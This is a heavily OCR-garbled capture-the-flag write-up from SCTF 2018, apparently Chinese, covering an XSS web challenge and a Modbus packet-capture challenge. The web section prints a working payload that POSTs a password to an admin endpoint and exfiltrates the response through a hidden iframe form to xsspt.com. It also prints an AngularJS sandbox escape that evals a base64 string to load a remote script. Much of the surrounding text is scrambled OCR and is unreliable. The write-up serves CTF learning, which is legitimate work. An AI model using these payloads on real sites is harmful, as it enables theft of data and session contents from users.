<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="/">SYC ADMIN</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<1i class="active"><a href="#">Home</a></1i>
<li><a href="#">H#&</a></1i>
<li><a href="#">IKH</a></1i>
<li><a href="admin/file">3f</a></1i>
<li><a href="admin/suggest">fM&</a></1i>
<li><a href="#">Kkfi</a></1i>
</ul>
</div>
</div>
</nav>

<div class="container">
<form method="post">
<label for="filePasswd" class="sr-only"># A\ X {f%H0</label>
<input type="text" id="filePasswd" class="form-control" placeholder="filepasswd" required=

autofocus="" name="filepasswd">
<button class="btn btn-1g btn-primary btn-block" type="submit">#£3</button>
</form>

</div>

<!-- Bootstrap core JavaScript




<!-- Placed at the end of the document so the pages load faster -->

<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>

<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<!-- TIE10 viewport hack for Surface/desktop Windows 8 bug -->

<script src="js/iel@-viewport-bug-workaround.js"></script>

</body>
</html>

@ file://C:/Users/CTF/Desktop/admin.html + i i’f.-‘ -6y @
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i

B (FERSEEHIENE)

+ ¥ code

EESH (FRRANRERENSY . WSS user , MXTESIA : {setuser))

7

b
5

tath « ¥ code

583 ({projectid AIABd, {set. ™ A ECEESEY)

$.ajax({
url: "/adminffile" i

BERF © WH O F

4

$.ajax({

url: "/admin/file",

type: "POST",

dataType: "text",

data: "filepasswd=HGf"%2639NsslUIf"23",

success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('http://xsspt.com/index.php?do=api&id=aQCIrX", code);

s

error: function(msg) {

1))

function xssPost(url, postStr) {
var de;
de = document.body.appendChild(document.createElement('iframe'));
de.src = 'about:blank’';
de.height = 1;
de.width = 1;
de.contentDocument.write('<form method="POST" action="
postStr + '"/></form>");

+ url + ><input name="code" value="' +

de.contentDocument.forms[0].submit();
de.style.display = 'none’;

B = AR 2 pay load

{{"'a"'.constructor.prototype.charAt=[].join;$eval('x=1} }
}s;eval(atob(\'JIC5nZXRTY3IpcHQ0I2h@dHA6LY94c3NWdC5jb20VYVFDSXIYPZEIMjk2NTIyMDANKTSK\"));//");}}



&R ZIRI], EExss TG

fiTE BERRRE Request Headers e
A2 2018-06-22 18:15:48 « code : c2N0ZiU3QlQ0aX « HTTP_REFERER :
NfaXNfZjFhZzIzMTMINO « HTTP_USER_AGENT :
Q= Mozilla/5.0 (Unknown; Li

nux x86_64) AppleWebK
it/538.1 (KHTML, like Ge
cko) PhantomdS/2.1.1 S
afari/538.1

« REMOTE_ADDR : 116.6
2.137.114

code : c2N@zZiU3QlQ@aXNfaXNfZjFhZzIzMTMINOQ=

base64fftd J5 FurffEhs

n

tu urldecode sctf¥%7BT4is is f1ag2313%7D
s flag2313}

A

C
C

sctf{T4is_is_flag2313}



MiSC

ox03 fH 7 ) Modbus

B R4 HModbus, HEIdjiEModbusthil, FREEtcpiiih ] LIk 2 flag

FHflag
BfF:  http://sctf2018.xctf.org.cn/media/task/c7348d96-947d-48ef-a91d-2b3eb647d9a9.zip

¥ © sctf2018.xctf.org.cn/contest_challenge/ @ v N

TEPE, fEE, Hwiresharks

. cmd.exe . ssh.exe . ssh.exe . cmd.exe g javaw.exe ‘ Wireshark.exe
File Edit View Go Capture Analyze Statistics Telephony W
AE 1@ IRE QesEF S S
[MTapply a display filter -~ <Ctrl-/>

reless Tools Help

® & Q

eloneRtolibinesharey



M Wireshark: Open Capture File X

EHEED : | c7348d96-947d-48ef-a91d-2b3ebA47d9a0 v\ L= 5 A= kg )
% &R - 150 EH8 s
e |1 madbus.pcapng 2018/6/12 21:18 PCAPI

=HE

Jlide ke
ﬁ < >
s B |cTadBdor-947d-4Bef-a91d-Th3ebtdTdoass v | [ IRH@ |
AT 411 Files v i
EREN )
Read filter Format directany
Automatic v Size: =
MAC name resolution Packets 5
[] Transport name resolution FirstPacket -
[[] Network name resolution Elapsed -
Use external network name resolver
NMear’c fnida + Wiki . Miactianc and dncware + Wailino Ticte
Sy N, a2l
Sy .
ILYEZ A :
B cvdexe Bl sshexe Bl sshexe Bl cmdexe L] javawexe # Wiresharkexe B-O-&H=_a8x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AmZ® RE Qe ' = QaQqai
Nlipply a display filter = (Ctrl-/> =3 -] Expression=  + Ny Filter RIAIITESE
Fo. Time Source Destination Protocel Length Info L=
[ 1 ©.9000000 192.168.130.130 120.25.108.11 NTP 90 NTP Version 4, client
2 0.047168 120.25.108.11 192.168.130.130 NTP 90 NTP Version 4, server
30.687771 192.168.130.1 192.168.130.130 SSH 106 Client: Encrypted packet (len=52)
4 0.688125 192.168.130.130 192.168.130.1 Tcp 6022 » 61743 [ACK] Seq=1 Ack=53 Win=251 Len=0
55.015616 Vmware_02:23:7¢ Vmware_e8:c6:74 ARP 60 Who has 192.168.130.27 Tell 192.168.130.130
65.015616 Vmware_e8:c6:74 Vmware_02:23:7¢ ARP 42 192.168.130.2 is at 00:50:56:e8:c6:74
7 5.525088 Vmware_co:00:08 Vmware_02:23:7¢ ARP 42 Who has 192.168.130.130? Tell 192.168.130.1
85.525293 Vmware_02:23:7c Vmware_c0:00:08 ARP 60 192.168.130.130 is at 00:8c:29:02:23:7C
9 12.255406 192.168.130.1 192.168.130.130 SSH 106 Client: Encrypted packet (len=52)
10 12.255683 192.168.130.130 192.168.130.1 TCcp 6022 » 61745 [ACK] Seq=1 Ack=53 Win=1432 Len=0
11 12.968837 192.168.130.1 192.168.130.130 SSH 106 Client: Encrypted packet (len=52)
12 12.97179%@ 192.168.130.130 192.168.130.1 TCcp 6022 » 61743 [ACK] Seq=1 Ack=105 Win=251 Len=0
13 12.971791 192.168.136.130 192.168.130.1 SSH 106 Server: Encrypted packet (len=52)
14 13.012291 192.168.130.1 192.168.130.130 Tcp 5461743 > 22 [ACK] Seq=1@5 Ack=53 Win=2852 Len=0
15 13.520576 192.168.136.130 192.168.130.1 SSH 170 Server: Encrypted packet (len=116)
16 13.560740 192.168.130.1 192.168.130.130 Tcp 5461743 > 22 [ACK] Seq=105 Ack=169 Win=2052 Len=0
17 14.669300 192.168.130.1 192.168.130.130 SSH 106 Client: Encrypted packet (le 2)
18 14.669634 192.168.130.130 192.168.130.1 SSH 106 Server: Encrypted packet (len=52)
19 14.710783 192.168.130.1 192.168.130.130 TCP 54 61743 > 22 [ACK] Seq=157 Ack=221 Win=2052 Len=0 ]
Frame 1: 9@ bytes on wire (720 bits), 9@ bytes captured (720 bits) on interface @
Ethernet II, Src: Vmware_02:23:7c (©0:0c:29:02:23:7c), Dst: Vmware_e8:c6:74 (00:50:56:e8:c6:74)
Internet Protocol Version 4, Src: 192.168.130.13@, Dst: 120.25.108.11
User Datagram Protocol, Src Port: 38592 (38592), Dst Port: 123 (123)
Network Time Protocol (NTP Version 4, client)
Sy Ny
D
NN PHE
B cvdexe Bl sshexe Bl sshexe Bl cmdexe L] javawexe # Wiresharkexe B-O-g=s_ax
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To. Tine Source Destination Protecel Length Info =
937 145.479940  192.168.130.1 192.168.130.130 Modbus/TCP 66  Query: Trans: 1; Unit: 1, 4: Read Input Registers
941 145.699555 192.168.130.130 192.168.130.1 Modbus/TCP 109 Response: Trans: 1; Unit: 1, 4: Read Input Registers
943 146.216337 192.168.130.1 192.168.130.130 Modbus/TCP 66  Query: Trans: 1; Unit: 1, 1: Read Coils
945 146.217126 192.168.130.130 192.168.130.1 Modbus/TCP 66 Response: Trans: 1; Unit: 1, 1: Read Coils
947 146.813301 192.168.130.1 192.168.130.130 Modbus/TCP 66  Query: Trans: 1; Unit: 1, 1: Read Coils
948 146.813950  192.168.130.130 192.168.130.1 Modbus/TCP 65 Response: Trans: 1; Unit: 1, 1: Read Coils

1: Read Coils

950 150.491125 192.168.130.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1,



951 150.492337 192.168.130.130 192.168.130.1 Modbus/TCP 65 Response: Trans: 1; Unit: 1, Func: Read Coils
953 151.021268 192.168.130.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: Read Coils
954 151.021875 192.168.130.130 192.168.130.1 Modbus/TCP 67 Response: Trans: 1; Unit: 1, Func: 1: Read Coils
956 154.390058 192.168.130.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: 3: Read Holding Registers
957 154,390812 192.168.130.130 192.168.130.1 Modbus/TCP 109 Response: Trans: 1; Unit: 1, Func: 3: Read Holding Registers
959 156.560268 192.168.130.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: Coils
960 156.561525 192.168.130.130 192.168.130.1 Modbus/TCP 67 Response: Trans: 1; Unit: 1, Func: Coils
962 160.574629 192.168.130.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: 2: Read Discrete Inputs
963 160.576003 192.168.130.130 192.168.130.1 Modbus/TCP 66 Response: Trans: 1; Unit: 1, Func: 2: Read Discrete Inputs
965 161.985997 192.168.130.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: Coils
966 161.986858 192.168.130.130 192.168.130.1 Modbus/TCP 65 Response: Trans: 1; Unit: 1, Func: Coils
968 163.030345 192.168.130.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: Coils )
Frame 937: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @
Ethernet II, Src: Vmware_c9:00:08 (00:50:56:c0:00:08), Dst: Vmware_02:23:7c (00:0c:29:02:23:7¢)
Internet Protocol Version 4, Src: 192.168.130.1, Dst: 192.168.130.130
Transmission Control Protocol, Src Port: 62234 (62234), Dst Port: 502 (502), Seq: 1, Ack: 1, Len: 12
Modbus/TCP
Modbus
g Af Y
FREEEE—/Ntep
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Am 2 ® aqaHE
(W ]nodbus B -] Bxpression  + My Filt
Fo. Tine Source Destination Frotesol Length Infe
937 145.479940 192.168.130.1 192.168.130.130 madhuie /Tro RA Muarwv: Trgns: 1; Unit: 1, Func: 4: Read Input Registers
941 145.699555  192.168.130.130 192.168.130.1 Mark/Unmark Packet Curl+M Bns: 1; Unit: 1, Func: 4: Read Input Registers
943 146.216337  192.168.130.1 192.168.130.130 ik Eh-D ans: 1; Unit: 1, Func: 1: Read Coils
945 146.217126  192.168.130.130 192.168.130.1 SeylEimeReirenes @i ans: 1; Unit: 1, Func: 1: Read Coils
047 146.813301  192.168.130.1 192.168.130.130 Time Shift... Ctrl+Shift+T g, 1; unit: 1, Func: 1: Read Coils
948 146.813950 192.168.130.130 192.168.130.1 Packet Comment... ans: 1; Unit: 1, Func: 1: Read Coils
950 150.491125 192.168.130.1 192.168.130.130 Edit Resolved Name ans: 1; Unit: 1, Func: 1: Read Coils
951 150.492337 192.168.130.130 192.168.130.1 Apply as Filter , @ns: 1; Unit: 1, Func: 1: Read Coils
953 151.021268 192.168.130.1 192.168.130.130 Freeroe ey , gns: 1; Unit: 1, Func: 1: Read Coils
954 151.021875 192.168.130.130 192.168.130.1 Conversation Filter , gns: iz Un%t: 1, Func: 1: Read Coils .
956 154.390058 192.168.130.1 192.168.120.130 Colorize Conversation , ans: 1; Unit: 1, Func: 3: Read Holding Registers
957 154.390812 192.168.130.130@ 192.168.130.1 — , @ns: 1; Unit: 1, Func: 3: Read Holding Registers
959 156.560268 192.168.130.1 192.168.130.130 mmo it 1, Func: 1: Read Coils
Follow ' TCP Stream .
960 156.561525 192.168.130.130 192.168.130.1 1£3 1, Func: 1: Read Coils
962 160.574629  192.168.130.1 192.168.130.130 Copy D UDPStream  §y. 1, Func:  2: Read Discrete Inputs
963 160.576003  192.168.130.130 192.168.130.1 Protocol Preferences R SSLSweam  §r: 1, Func:  2: Read Discrete Inputs
965 161.985997 192.168.130.1 192.168.130.130 Decode As... ans: 1; Unit: 1, Func: 1: Read Coils
966 161.986858  192.162.130.130 192.168.1320.1 Show Packet in New Window ans: 1; Unit: 1, Func: 1: Read Coils
968 163.030345 192.168.130.1 192.168.130.130 MOUDuS7 TCP 66 QUeryTTTans: 1; Unit: 1, Func: 1: Read Coils
Frame 937: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @
Ethernet II, Src: Vmware_ce:00:08 (©0:50:56:c0:00:08), Dst: Vmware_02:23:7c (00:0c:29:02:23:7c)
Internet Protocol Version 4, Src: 192.168.130.1, Dst: 192.168.138.130
Transmission Control Protocol, Src Port: 62234 (62234), Dst Port: 502 (502), Seq: 1, Ack: 1, Len: 12
Modbus/TCP
Modbus
\
$k#flag
B cmdexe [l sshexe [l sshexe [l cmaexe |2 javawexe M Wiresharkexe ~E-&ES 8%
File Edit View c A cs \ T Help
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9241 4925.563811 192.168.130.130 192.168.130.1 Modbus/TCP 66 Response: Trans: 1; Unit: 1, Func: 1: Read Coils
9242 4925.603866 192.168.136.1 192.168.130.130 TCP 54 62234 » 502 [ACK] Seq=23281 Ack=32584 Win=525312 Len=0
9243 4928.302342 192.168.136.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: 4: Read Input Registers
9244 4928,304685  192.168.130.130 192.168.130.1 Modbus/TCP 65 Response: Trans: 1; Unit: 1, Func:  4: Read Input Registers
9245 4928.344850 192.168.130.1 192.168.130.130 TCP 54 62234 » 502 [ACK] Seq=23293 Ack=32595 Win=525312 Len=0
9246 4929.894143 192.168.136.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: 1: Read Coils
9247 4929.894932 192.168.130.130 192.168.130.1 Modbus/TCP 67 Response: Trans: 1; Unit: 1, Func: 1: Read Coils
9248 4929.936584 192.168.136.1 192.168.130.130 TCP 54 62234 - 502 [ACK] 5eq=23305 Ack=32608 Win=525312 Len=0
9249 4930.457147 192.168.136.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: 1: Read Coils
9250 4930.458645 192.168.130.130 192.168.130.1 Modbus/TCP 66 Response: Trans: 1; Unit: 1, Func: 1: Read Coils
9251 4930.499833 192.168.130.1 192.168.130.130 TCP 54 62234 - 502 [ACK] 5eq=23317 Ack=32620 Win=525312 Len=0
9254 4933,176574 192.168.130.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: 1: Read Coils
9255 4933.177959 192.168.130.130 192.168.130.1 Modbus/TCP 66 Response: Trans: 1; Unit: 1, Func: 1: Read Coils
9256 4933.219296  192.168.130.1 192.168.130.130 TCP 54 62234 > 502 [ACK] Seq=23329 Ack=32632 Win=525312 Len=e
9257 4937.711166  192.168.130.1 192.168.130.130 Modbus/TCP 66 Query: Trans: 1; Unit: 1, Func: 1: Read Coils |
M Wireshark - Follow TCP Stream (tcp.stream eq 4) - modbus - [m] X
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3,1 :https://www.cnblogs.com/Jas502n/p/9228589.htm
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